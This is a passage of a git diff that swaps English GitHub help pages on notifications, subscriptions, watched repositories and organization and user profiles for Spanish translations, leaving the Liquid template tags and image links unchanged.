-    - Customize the types of event you receive notifications for ({% data reusables.notifications-v2.custom-notification-types %}, if enabled)
+    - Dejar de seguir un repositorio
+    - Ignorar todas las notificaciones de un repositorio
+    - Personaliza los tipos de evento para los cuales recibes notificaciones ({% data reusables.notifications-v2.custom-notification-types %}, en caso de que se haya habilitado)
   {% else %}
-    - Unwatch a repository
-    - Only watch releases for a repository
-    - Ignore all notifications for a repository
+    - Dejar de seguir un repositorio
+    - Observar únicamente los lanzamientos de un repositorio
+    - Ignorar todas las notificaciones de un repositorio
   {% endif %}
diff --git a/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md b/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
index 9d440d9c75..d7ceabd1c3 100644
--- a/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
+++ b/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your subscriptions
-intro: 'To understand where your notifications are coming from and your notifications volume, we recommend reviewing your subscriptions and watched repositories regularly.'
+title: Visualizar tus suscripciones
+intro: 'Para entender de dónde están llegando las notificaciones y la cantidad de las mismas, te recomendamos revisarlas frecuentemente, así como los repositorios que sigues de cerca.'
 redirect_from:
   - /articles/subscribing-to-conversations
   - /articles/unsubscribing-from-conversations
@@ -23,65 +23,64 @@ versions:
   ghec: '*'
 topics:
   - Notifications
-shortTitle: View subscriptions
+shortTitle: Ver Suscripciones
 ---
-You receive notifications for your subscriptions of ongoing activity on {% data variables.product.product_name %}. There are many reasons you can be subscribed to a conversation. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notifications-and-subscriptions)."
 
-We recommend auditing and unsubscribing from your subscriptions as a part of a healthy notifications workflow. For more information about your options for unsubscribing, see "[Managing subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
+Recibes notificaciones para tus suscripciones de la actividad reciente en {% data variables.product.product_name %}. Hay muchas razones por las cuales puedes estar suscrito a una conversación. Para obtener más información, consulta la sección "[Acerca de las notificaciones](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notifications-and-subscriptions)".
 
-## Diagnosing why you receive too many notifications
+Te recomendamos auditar tus suscripciones y desuscribirte de las que no sean necesarias como parte de un flujo de trabajo de notificaciones saludable. Para obtener más información acerca de tus opciones para desuscribirte, consulta la sección "[Administrar suscripciones](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)".
 
-When your inbox has too many notifications to manage, consider whether you have oversubscribed or how you can change your notification settings to reduce the subscriptions you have and the types of notifications you're receiving. For example, you may consider disabling the settings to automatically watch all repositories and all team discussions whenever you've joined a team or repository.
+## Diagnosticar el por qué recibes tantas notificaciones
 
-![Automatic watching](/assets/images/help/notifications-v2/automatic-watching-example.png)
+Cuando tu bandeja de entrada tiene demasiadas notificaciones como para administrarlas, considera si estás suscrito a más de las que puedas manejar, o cómo puedes cambiar tu configuración de notificaciones para reducir aquellas que ya tienes y ver los tipos de notificaciones que estás recibiendo. Por ejemplo, puedes considerar inhabilitar la configuración para que observes automáticamente todos los repositorios y discusiones de equipo cada que te unas a un equipo o repositorio.
 
-For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#automatic-watching)."
+![Seguimiento automático](/assets/images/help/notifications-v2/automatic-watching-example.png)
 
-To see an overview of your repository subscriptions, see "[Reviewing repositories that you're watching](#reviewing-repositories-that-youre-watching)." 
+Para obtener más información, consulta la sección "[Configurar las notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#automatic-watching)".
+
+Para ver un resumen de tus suscripciones a repositorios, consulta la sección "[Revisar los repositorios que estás observando](#reviewing-repositories-that-youre-watching)".
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 {% tip %}
 
-**Tip:** You can select the types of event to be notified of by using the **Custom** option of the **Watch/Unwatch** dropdown list in your [watching page](https://github.com/watching) or on any repository page on {% data variables.product.product_name %}. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)."
+**Tip:** Puedes seleccionar los tipos de evento para los cuales quieres recibir notificaciones si utilizas la opción **Personalizar** de la lista desplegable **Observar/Dejar de observar** en tu [página de observados](https://github.com/watching) o en cualquier página de repositorio en {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Configurar las notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)".
 
 {% endtip %}
 {% endif %}
 
-Many people forget about repositories that they've chosen to watch in the past. From the "Watched repositories" page you can quickly unwatch repositories. For more information on ways to unsubscribe, see "[Unwatch recommendations](https://github.blog/changelog/2020-11-10-unwatch-recommendations/)" on {% data variables.product.prodname_blog %} and "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)." You can also create a triage workflow to help with the notifications you receive. For guidance on triage workflows, see "[Customizing a workflow for triaging your notifications](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)."
+Muchas personas se olvidan de los repositorios que han marcado para observar. Desde la página de "Repositorios observados" puedes dejar de observar los repositorios rápidamente. Para obtener más información sobre las formas de dejar de suscribirse, consulta la sección "[Dejar de observar las recomendaciones](https://github.blog/changelog/2020-11-10-unwatch-recommendations/)" en {% data variables.product.prodname_blog %} y "[Administrar tus suscripciones](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)". También puedes crear un flujo de trabajo de clasificación para que te ayude con las notificaciones que recibes. Para obtener orientación sobre los flujos de trabajo de clasificación, consulta la sección "[Personalizar un flujo de trabajo para clasificar tus notificaciones](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)".
 
-## Reviewing all of your subscriptions
+## Revisar todas tus suscripciones
 
 {% data reusables.notifications.access_notifications %}
-1. In the left sidebar, under the list of repositories that you have notifications from, use the "Manage notifications" drop-down to click **Subscriptions**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
+1. En la barra lateral izquierda, debajo de la lista de repositorios de los cuales recibes notificaciones, utiliza el menú desplegable "Administrar notificaciones" para dar clic en **Suscripciones**. ![Opciones del menú desplegable de administrar notificaciones](/assets/images/help/notifications-v2/manage-notifications-options.png)
 
-2. Use the filters and sort to narrow the list of subscriptions and begin unsubscribing to conversations you no longer want to receive notifications for.
+2. Utiliza los filtros y organiza para reducir la lista de suscripciones y comenzar a darte de baja de las conversaciones de las cuales ya no quieres recibir notificaciones.
 
-  ![Subscriptions page](/assets/images/help/notifications-v2/all-subscriptions.png)
+  ![Página de suscripciones](/assets/images/help/notifications-v2/all-subscriptions.png)
 
 {% tip %}
 
 **Tips:**
-- To review subscriptions you may have forgotten about, sort by "least recently subscribed."
+- Para revisar las suscripciones que pudiste haber olvidado, organiza por "suscripciones menos recientes"
 
-- To review a list of repositories that you can still receive notifications for, see the repository list in the "filter by repository" drop-down menu.
+- Para revisar una lista de repositorios de los cuales aún puedes recibir notificaciones, despliega el menú "filtrar por repositorio" para ver el listado.
 
 {% endtip %}
 
-## Reviewing repositories that you're watching
+## Revisar los repositorios que estás siguiendo de cerca
 
-1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down menu and click **Watched repositories**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
-2. Evaluate the repositories that you are watching and decide if their updates are still relevant and helpful. When you watch a repository, you will be notified of all conversations for that repository.
+1. En la barra lateral izquierda, bajo la lista de repositorios, utiliza el menú desplegable "Administrar notificaciones" y da clic en **Repositorios que sigues**. ![Opciones del menú desplegable de administrar notificaciones](/assets/images/help/notifications-v2/manage-notifications-options.png)
+2. Evalúa si los repositorios que estás siguiendo de cerca tienen actualizaciones que aún sean útiles y relevantes. Cuando sigues de cerca un repositorio, se te notificará de todas las conversaciones en el mismo.
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Watched notifications page](/assets/images/help/notifications-v2/watched-notifications-custom.png)
+  ![Página de notificaciones que sigues](/assets/images/help/notifications-v2/watched-notifications-custom.png)
 {% else %}
-  ![Watched notifications page](/assets/images/help/notifications-v2/watched-notifications.png)
+  ![Página de notificaciones que sigues](/assets/images/help/notifications-v2/watched-notifications.png)
 {% endif %}
 
   {% tip %}
 
-  **Tip:** Instead of watching a repository, consider only receiving notifications {% ifversion fpt or ghes > 3.0 or ghae or ghec %}when there are updates to {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository), or any combination of these options,{% else %}for releases in a repository,{% endif %} or completely unwatching a repository.
-  
-  When you unwatch a repository, you can still be notified when you're @mentioned or participating in a thread. When you configure to receive notifications for certain event types, you're only notified when there are updates to these event types in the repository, you're participating in a thread, or you or a team you're on is @mentioned.
+  **Tip:** En vez de observar un repositorio, considera recibir notificaciones únicamente {% ifversion fpt or ghes > 3.0 or ghae or ghec %}cuando haya actualizaciones {% data reusables.notifications-v2.custom-notification-types %} (si es que se habilitaron para el repositorio), o en cualquier combinación de estas opciones,,{% else %}para lanzamientos en un repositorio,{% endif %} o dejar de observar un repositorio por completo.
+
+  Cuando dejas de seguir un repositorio, aún se te puede notificar cuando te @mencionan o cuando participas en un hilo. Cuando configuras el recibir notificaciones para ciertos tipos de evento, solo se te notificará cuando existan actualizaciones en éstos dentro del repositorio, si estás participando en un hilo, o si tú o un equipo al que perteneces tiene alguna @mención.
 
   {% endtip %}
diff --git a/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md b/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
index 24263811ac..bb302c3c2d 100644
--- a/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
+++ b/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
@@ -1,6 +1,6 @@
 ---
-title: About notifications
-intro: 'Notifications provide updates about the activity on {% data variables.product.product_location %} that you''ve subscribed to. You can use the notifications inbox to customize, triage, and manage your updates.'
+title: Acerca de las notificaciones
+intro: 'Las notificaciones proporcionan actualizaciones sobre las actividades de {% data variables.product.product_location %} a las que te hayas suscrito. Puedes utilizar la bandeja de notificaciones para personalizar, clasificar y administrar tus actualizaciones.'
 redirect_from:
   - /articles/notifications
   - /articles/about-notifications
@@ -15,89 +15,90 @@ versions:
 topics:
   - Notifications
 ---
+
 {% ifversion ghes %}
 {% data reusables.mobile.ghes-release-phase %}
 {% endif %}
 
-## Notifications and subscriptions
+## Notificaciones y suscripciones
 
-You can choose to receive ongoing updates about specific activity on {% data variables.product.product_location %} through a subscription. Notifications are updates that you receive for specific activity that you are subscribed to.
+Puedes elegir recibir actualizaciones continuas sobre actividades específicas en {% data variables.product.product_location %} mediante una suscripción. Las notificaciones son actualizaciones que recibes por alguna actividad específica a la que te hayas suscrito.
 
-### Subscription options
+### Opciones de suscripción
 
-You can choose to subscribe to notifications for:
-- A conversation in a specific issue, pull request, or gist.
-- All activity in a repository or team discussion.
-- CI activity, such as the status of workflows in repositories set up with {% data variables.product.prodname_actions %}. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-- Repository {% data reusables.notifications-v2.custom-notification-types %} (if enabled).{% else %}
-- Releases in a repository.{% endif %}
+Puedes elegir suscribirte a las notificaciones de:
+- Una conversación sobre un informe de problemas, solicitud de extracción o gist específico.
+- Todas las actividades en un repositorio o en un debate de equipo.
+- Actividades de CI, tales como el estado de los flujos de trabajo en los repositorios configurados con {% data variables.product.prodname_actions %}. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+- Repositorio {% data reusables.notifications-v2.custom-notification-types %} (si se habilitó).{% else %}
+- Lanzamientos en un repositorio.{% endif %}
 
-You can also choose to automatically watch all repositories that you have push access to, except forks. You can watch any other repository you have access to manually by clicking **Watch**.
+También puedes elegir seguir automáticamente todos los repositorios en los que tienes acceso de escritura, con excepción de sus bifurcaciones. Puedes seguir de cerca manualmente a cualquier otro repositorio al que tengas acceso si das clic en **Seguir**.
 
-If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For example, if you no longer want to receive notifications from a particular repository, you can click **Unsubscribe**. For more information, see "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
+Si ya no te interesa alguna conversación, te puedes dar de baja, dejar de seguir o personalizar los tipos de notificaciones que recibirás en el futuro. Por ejemplo, si ya no quieres recibir notificaciones de algún repositorio en particular, puedes dar clic en **Darse de baja**. Para obtener más información, consulta la sección "[Administrar tus suscripciones](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)".
 
-### Default subscriptions
+### Suscripciones predeterminadas
 
-In general, you are automatically subscribed to conversations by default when you have:
-- Not disabled automatic watching for repositories or teams you've joined in your notification settings. This setting is enabled by default.
-- Been assigned to an issue or pull request.
-- Opened a pull request, issue, or created a team discussion post.
-- Commented on a thread.
-- Subscribed to a thread manually by clicking **Watch** or **Subscribe**.
-- Had your username @mentioned.
-- Changed the state of a thread, such as by closing an issue or merging a pull request.
-- Had a team you're a member of @mentioned.
+Generalmente, estarás suscrito automática y predeterminadamente a las conversaciones cuando:
+- No has inhabilitado el seguimiento automático a través de tu configuración de notificaciones para los repositorios o equipos a los cuales te has unido. Esta configuración está predeterminadamente habilitada.
+- Te han asignado a un informe de problemas o solicitud de extracción.
+- Has abierto una solicitud de extracción, informe de problemas, o has creado una publicación para que un equipo la debata.
+- Has comentado en un hilo.
+- Te has suscrito a un hilo manualmente dando clic en **Seguir** o **Suscribirse**.
+- Han @mencionado tu nombre de usuario.
+- Has cambiado el estado de un hilo, como cuando cierras un informe de problemas o fusionas una solicitud de extracción.
+- Se ha @mencionado a algún equipo al que pertenezcas.
 
-By default, you also automatically watch all repositories that you create and are owned by your user account.
+También está predeterminado que sigas automáticamente a todos los repositorios que has creado y sean propiedad de tu cuenta de usuario.
 
-To unsubscribe from conversations you're automatically subscribed to, you can change your notification settings or directly unsubscribe or unwatch activity on {% data variables.product.product_location %}. For more information, see "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
+Para darte de baja de las conversaciones a las cuales estás suscrito automáticamente, puedes cambiar tu configuración de notificaciones o darte de baja directamente o dejar de seguir la actividad de {% data variables.product.product_location %}. Para obtener más información, consulta la sección "[Administrar tus suscripciones](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)".
 
-## Customizing notifications and subscriptions
+## Personalizar notificaciones y suscripciones
 
-You can choose to view your notifications through the notifications inbox at [https://github.com/notifications](https://github.com/notifications){% ifversion fpt or ghes or ghec %} and in the {% data variables.product.prodname_mobile %} app{% endif %}, through your email, or some combination of these options.
+Puedes elegir ver tus notificaciones a través de la bandeja de entrada de notificaciones en [https://github.com/notifications](https://github.com/notifications){% ifversion fpt or ghes or ghec %} y en la app de {% data variables.product.prodname_mobile %}{% endif %}, a través de tu correo electrónico, o en alguna combinación de estas opciones.
 
-To customize the types of updates you'd like to receive and where to send those updates, configure your notification settings. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)."
+Para personalizar los tipos de actualizaciones que deseas recibir y el lugar a donde quieras que se envíen, modifica tu configuración de notificaciones. Para obtener más información, consulta la sección "[Configurar las notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)".
 
-To keep your subscriptions manageable, review your subscriptions and watched repositories and unsubscribe as needed. For more information, see "[Managing subscriptions for activity on GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)."
+Para poder seguir administrando tus suscripciones, revisa los repositorios que sigues y las suscripciones que tienes y date de baja de aquellos que ya no quieras seguir. Para obtener más información, consulta la sección "[Administrar suscripciones de actividad en GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)".
 
-To customize how you'd like to receive updates for specific pull requests or issues, you can configure your preferences within the issue or pull request. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request)."
+Para personalizar la manera en la que deseas recibir actualizaciones para solicitudes de extracción o informes de problemas específicos, puedes configurar tus preferencias dentro de las mismas. Para obtener más información, consulta la sección "[Clasificar una sola notificación](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request)".
 
 {% ifversion fpt or ghes or ghec %}
-You can customize and schedule push notifications in the {% data variables.product.prodname_mobile %} app. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#managing-your-notification-settings-with-github-mobile)."
+Puedes personalizar y programar notificaciones de subida en la app de {% data variables.product.prodname_mobile %}. Para obtener más información, consulta la sección "[Configurar las notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#managing-your-notification-settings-with-github-mobile)".
 {% endif %}
 
-## Reasons for receiving notifications
+## Razones para que recibas notificaciones
 
-Your inbox is configured with default filters, which represent the most common reasons that people need to follow-up on their notifications. For more information about inbox filters, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#default-notification-filters)."
+Tu bandeja de entrada se configura con filtros predeterminados que representan las razones más comunes para que la gente necesite dar seguimiento a sus notificaciones. Para obtener más información, consulta la sección "[Administrar las notificaciones desde tu bandeja de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#default-notification-filters)".
 
-Your inbox shows the `reasons` you're receiving notifications as a label.
+Tu bandeja de entrada muestra las `reasons` (razones) para que recibas notificaciones a modo de etiqueta.
 
-![Reasons labels in inbox](/assets/images/help/notifications-v2/reasons-as-labels-in-inbox.png)
+![Etiquetas de razones en la bandeja de entrada](/assets/images/help/notifications-v2/reasons-as-labels-in-inbox.png)
 
-You can filter your inbox by the reason you're subscribed to notifications. For example, to only see pull requests where someone requested your review, you can use the `review-requested` query filter.
+Puedes filtrar tu bandeja de entrada por razón por la cual estás suscrito a notificaciones. Por ejemplo, para ver únicamente solicitudes de extracción en donde alguien solicitó tu revisión, puedes utilizar el filtro de búsqueda `review-requested` (revisión solicitada).
 
-![Filter notifications by review requested reason](/assets/images/help/notifications-v2/review-requested-reason.png)
+![Filtrar notificaciones por revisión de la razón solicitada](/assets/images/help/notifications-v2/review-requested-reason.png)
 
-If you've configured notifications to be sent by email and believe you're receiving notifications that don't belong to you, consider troubleshooting with email headers, which show the intended recipient. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)."
+Si configuraste las notificaciones para que se enviaran por correo electrónico y crees que estás recibiendo notificaciones que no te pertenecen, considera dar solución a los problemas especificando el tema en los encabezados de correo electrónico que muestren el receptor al que se pretende llegar. Para obtener más información, consulta la sección "[Configurar notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)".
 
-## Triaging notifications from your inbox
+## Clasificar las notificaciones de tu bandeja de entrada
 
-To effectively manage your notifications, you can triage your inbox with options to:
-- Remove a notification from the inbox with **Done**. You can review **Done** notifications all in one place by clicking **Done** in the sidebar or by using the query `is:done`.
-- Mark a notification as read or unread.
-- **Save** a notification for later review. **Saved** notifications are flagged in your inbox. You can review **Saved** notifications all in one place in the sidebar by clicking **Saved** or by using the query `is:saved`.
-- Automatically unsubscribe from this notification and future updates from this conversation. Unsubscribing also removes the notification from your inbox. If you unsubscribe from a conversation and someone mentions your username or a team you're on that you're receiving updates for, then you will start to receive notifications from this conversation again.
+Para administrar tus notificaciones de manera efectiva, puedes clasificar tu bandeja de entrada con opciones para:
+- Eliminar una notificación de la bandeja de entrada marcada como **Completada**. Puedes revisar las notificaciones **Completadas** en un mismo lugar dando clic en **Completada** en la barra lateral o utilizando el query `is:done`.
+- Marcar la notificación como leída o no leída.
+- **Guardar** una notificación para su revisión posterior. Las notificaciones **Guardadas** se resaltan en tu bandeja de entrada. Puedes revisar las notificaciones **Guardadas** en un mismo lugar en la barra lateral si das clic en **Guardadas**" o utilizando el query `is:saved`.
+- Darte de baja automáticamente de esta notificación y de las actualizaciones futuras a esta conversación. Darte de baja también elimina la notificación de tu bandeja de entrada. Si te das de baja de una conversación y alguien menciona tu nombre de usuario o el equipo al que perteneces, del cual recibes notificaciones, entonces comenzarás a recibirlas de nuevo para dicha conversación.
 
-From your inbox you can also triage multiple notifications at once. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time)."
+También puedes clasificar varias notificaciones al mismo tiempo desde tu bandeja de entrada. Para obtener más información, consulta la sección "[Administrar notificaciones desde tu bandeja de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time)".
 
-## Customizing your notifications inbox
+## Personalizar tu bandeja de entrada de notificaciones
 
-To focus on a group of notifications in your inbox on {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} or {% data variables.product.prodname_mobile %}{% endif %}, you can create custom filters. For example, you can create a custom filter for an open source project you contribute to and only see notifications for that repository in which you are mentioned. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)." For more examples of how to customize your triaging workflow, see "[Customizing a workflow for triaging your notifications](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)."
+Para enfocarte en un grupo de notificaciones en tu bandeja de entrada en {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} o en {% data variables.product.prodname_mobile %}{% endif %}, puedes crear filtros personalizados. Por ejemplo, puedes crear un filtro personalizado para un proyecto de código abierto en el que contribuyes y únicamente ver notificaciones para el repositorio en el que se te mencione. Para obtener más información, consulta la sección "[Administrar notificaciones desde tu bandeja de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)". Para ver más ejemplos de cómo personalizar tu flujo de trabajo de clasificaciones, consulta la sección "[Personalizar un flujo de trabajo para clasificar tus notificaciones](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)".
 
-## Notification retention policy
+## Política de retención de notificaciones
 
-Notifications that are not marked as **Saved** are kept for 5 months. Notifications marked as **Saved** are kept indefinitely. If your saved notification is older than 5 months and you unsave it, the notification will disappear from your inbox within a day.
+Las notificaciones que no se marquen como **Guardadas** se mantendrán por 5 meses. Aquellas marcadas como **Guardadas** se mantendrán por tiempo indefinido. Si tu notificación guardada tiene más de 5 meses y la dejas de guardad, ésta desaparecerá de tu bandeja de entrada en un día.
 
-## Feedback and support
+## Retroalimentación y soporte
 
-If you have feedback or feature requests for notifications, use the [feedback form for notifications](https://support.github.com/contact/feedback?contact%5Bcategory%5D=notifications&contact%5Bsubject%5D=Product+feedback).
+Si tienes retroalimentación o alguna solicitud de características, utiliza el [formato de retroalimentación para notificaciones](https://support.github.com/contact/feedback?contact%5Bcategory%5D=notifications&contact%5Bsubject%5D=Product+feedback).
diff --git a/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md b/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
index 66a0b98a87..314e727573 100644
--- a/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
+++ b/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and triaging notifications
-intro: 'To optimize your notifications workflow, you can customize how you view and triage notifications.'
+title: Ver y clasificar las notificaciones
+intro: 'Para optimizar el flujo de trabajo de tus notificaciones, puedes personalizar como las visualizas y clasificas.'
 redirect_from:
   - /articles/managing-notifications
   - /articles/managing-your-notifications
@@ -16,6 +16,6 @@ children:
   - /managing-notifications-from-your-inbox
   - /triaging-a-single-notification
   - /customizing-a-workflow-for-triaging-your-notifications
-shortTitle: Customize a workflow
+shortTitle: Personalizar un flujo de trabajo
 ---
 
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md
index 079a7e07b2..d46be2892a 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md
@@ -1,6 +1,6 @@
 ---
-title: About your organization's profile
-intro: Your organization's profile page shows basic information about your organization.
+title: Acerca del perfil de tu organización
+intro: La página del perfil de tu organización muestra la información básica acerca de tu organización.
 redirect_from:
   - /articles/about-your-organization-s-profile
   - /articles/about-your-organizations-profile
@@ -13,18 +13,19 @@ versions:
   ghec: '*'
 topics:
   - Profiles
-shortTitle: Organization's profile
+shortTitle: Perfil de la organización
 ---
-You can optionally choose to add a description, location, website, and email address for your organization, and pin important repositories.{% ifversion not ghes and not ghae %} You can customize your organization's profile by adding a README.md file. For more information, see "[Customizing your organization's profile](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile)."{% endif %}
 
-{% ifversion fpt or ghec %}To confirm your organization's identity and display a "Verified" badge on your organization profile page, you must verify your organization's domains with {% data variables.product.product_name %}. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."{% endif %}
+Opcionalmente, puedes elegir agregar una descripción, ubicación, sitio web y dirección de correo electrónico para tu organización y fijar repositorios importantes.{% ifversion not ghes and not ghae %} Puedes personalizar el perfil de tu organización si agregas un archivo README.md. Para obtener más información, consulta la sección "[Personalizar el perfil de tu organización ](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile)".{% endif %}
+
+{% ifversion fpt or ghec %}Para confirmar la identidad de tu organización y mostrar el distintivo "Verificada" en la página del perfil de tu organización, debes verificar los dominios de tu organización con {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Verificar o aprobar un dominio para tu organización](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)".{% endif %}
 
 {% ifversion fpt or ghes > 3.2 or ghec %}
-![Sample organization profile page](/assets/images/help/organizations/org_profile_with_overview.png)
+![Muestra de la página de perfil de una organización](/assets/images/help/organizations/org_profile_with_overview.png)
 {% else %}
-![Sample organization profile page](/assets/images/help/profile/org_profile.png)
+![Muestra de la página de perfil de una organización](/assets/images/help/profile/org_profile.png)
 {% endif %}
 
-## Further reading
+## Leer más
 
-- "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)"
+- "[Acerca de las organizaciones](/organizations/collaborating-with-groups-in-organizations/about-organizations)"
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
index 7a6c7d46c8..4b2d6fd6db 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
@@ -1,6 +1,6 @@
 ---
-title: About your profile
-intro: 'Your profile page tells people the story of your work through the repositories you''re interested in, the contributions you''ve made, and the conversations you''ve had.'
+title: Acerca de tu perfil
+intro: 'La página de tu perfil le cuenta a las personas la historia de tu trabajo a través de los repositorios en los que te interesas, las colaboraciones que has realizado y las conversaciones que has tenido.'
 redirect_from:
   - /articles/viewing-your-feeds
   - /articles/profile-pages
@@ -15,29 +15,30 @@ versions:
 topics:
   - Profiles
 ---
-You can add personal information about yourself in your bio, like previous places you've worked, projects you've contributed to, or interests you have that other people may like to know about. For more information, see "[Adding a bio to your profile](/articles/personalizing-your-profile/#adding-a-bio-to-your-profile)."
+
+Puedes agregar información personal acerca de ti mismo en tu biobiografía, como lugares en los que has trabajado previamente, proyectos con los que has colaborado o intereses que tengas que a otras personas les pueda interesar conocer sobre tí. Para obtener más información, consulta "[Agregar una biografía en tu perfil](/articles/personalizing-your-profile/#adding-a-bio-to-your-profile)".
 
 {% ifversion fpt or ghes or ghec %}
 
 {% data reusables.profile.profile-readme %}
 
-![Profile README file displayed on profile](/assets/images/help/repository/profile-with-readme.png)
+![Archivo de README del perfil que se muestra en éste](/assets/images/help/repository/profile-with-readme.png)
 
 {% endif %}
 
-People who visit your profile see a timeline of your contribution activity, like issues and pull requests you've opened, commits you've made, and pull requests you've reviewed. You can choose to display only public contributions or to also include private, anonymized contributions. For more information, see "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)" or "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)."
